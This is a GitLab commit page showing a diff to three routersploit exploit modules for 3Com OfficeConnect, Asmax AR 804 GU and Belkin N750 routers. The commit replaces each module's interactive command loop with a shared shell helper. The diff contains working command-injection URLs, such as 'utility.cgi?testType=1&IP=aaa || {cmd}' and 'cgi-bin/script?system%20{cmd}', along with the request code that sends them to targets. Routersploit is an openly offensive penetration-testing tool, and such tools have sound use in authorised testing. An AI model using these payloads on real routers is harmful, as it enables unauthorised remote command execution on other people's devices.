Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
026ebb9b
Commit
026ebb9b
authored
Jan 24, 2017
by
lucyoa
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Adding shell utility
parent
77402f6b
Hide whitespace changes
Inline
Side-by-side
Showing
3 changed files
with
10 additions
and
38 deletions
+10
-38
officeconnect_rce.py
routersploit/modules/exploits/3com/officeconnect_rce.py
+4
-16
ar_804_gu_rce.py
routersploit/modules/exploits/asmax/ar_804_gu_rce.py
+2
-10
n750_rce.py
routersploit/modules/exploits/belkin/n750_rce.py
+4
-12
No files found.
routersploit/modules/exploits/3com/officeconnect_rce.py
View file @
026ebb9b
...
...
@@ -3,11 +3,11 @@ from routersploit import (
print_success
,
print_status
,
print_error
,
print_info
,
http_request
,
mute
,
validators
,
random_text
,
shell
)
...
...
@@ -40,27 +40,15 @@ class Exploit(exploits.Exploit):
print_success
(
"Target is vulnerable"
)
print_status
(
"Invoking command loop..."
)
print_status
(
"It is blind command injection - response is not available"
)
s
elf
.
command_loop
(
)
s
hell
(
self
,
architecture
=
"mips"
)
else
:
print_error
(
"Target is not vulnerable"
)
def
command_loop
(
self
):
while
1
:
cmd
=
raw_input
(
"cmd > "
)
if
cmd
in
[
'exit'
,
'quit'
]:
return
print_info
(
self
.
execute
(
cmd
))
def
execute
(
self
,
cmd
):
url
=
"{}:{}/utility.cgi?testType=1&IP=aaa || {}"
.
format
(
self
.
target
,
self
.
port
,
cmd
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
return
""
return
response
.
text
http_request
(
method
=
"GET"
,
url
=
url
)
return
""
@mute
def
check
(
self
):
...
...
routersploit/modules/exploits/asmax/ar_804_gu_rce.py
View file @
026ebb9b
...
...
@@ -6,6 +6,7 @@ from routersploit import (
http_request
,
mute
,
validators
,
shell
)
...
...
@@ -38,19 +39,10 @@ class Exploit(exploits.Exploit):
if
self
.
check
():
print_success
(
"Target is vulnerable"
)
print_status
(
"Invoking command loop..."
)
s
elf
.
command_loop
(
)
s
hell
(
self
,
architecture
=
"mips"
)
else
:
print_error
(
"Target is not vulnerable"
)
def
command_loop
(
self
):
while
1
:
cmd
=
raw_input
(
"cmd > "
)
if
cmd
in
[
'exit'
,
'quit'
]:
return
print
self
.
execute
(
cmd
)
def
execute
(
self
,
cmd
):
url
=
"{}:{}/cgi-bin/script?system
%20
{}"
.
format
(
self
.
target
,
self
.
port
,
cmd
)
...
...
routersploit/modules/exploits/belkin/n750_rce.py
View file @
026ebb9b
...
...
@@ -7,6 +7,7 @@ from routersploit import (
http_request
,
mute
,
validators
,
shell
)
...
...
@@ -36,22 +37,13 @@ class Exploit(exploits.Exploit):
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
if
self
.
check
()
is
True
:
if
self
.
check
():
print_success
(
"Target is vulnerable"
)
print_status
(
"Invoking command loop..."
)
s
elf
.
command_loop
(
)
s
hell
(
self
,
architecture
=
"mips"
)
else
:
print_error
(
"Target is not vulnerable"
)
def
command_loop
(
self
):
while
1
:
cmd
=
raw_input
(
"cmd > "
)
if
cmd
in
[
'exit'
,
'quit'
]:
return
print
self
.
execute
(
cmd
)
def
execute
(
self
,
cmd
):
url
=
"{}:{}/login.cgi.php"
.
format
(
self
.
target
,
self
.
port
)
headers
=
{
u'Content-Type'
:
u'application/x-www-form-urlencoded'
}
...
...
@@ -71,6 +63,6 @@ class Exploit(exploits.Exploit):
response
=
self
.
execute
(
cmd
)
if
mark
in
response
:
return
True
# target vulnerable
return
True
# target
is
vulnerable
return
False
# target is not vulnerable
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment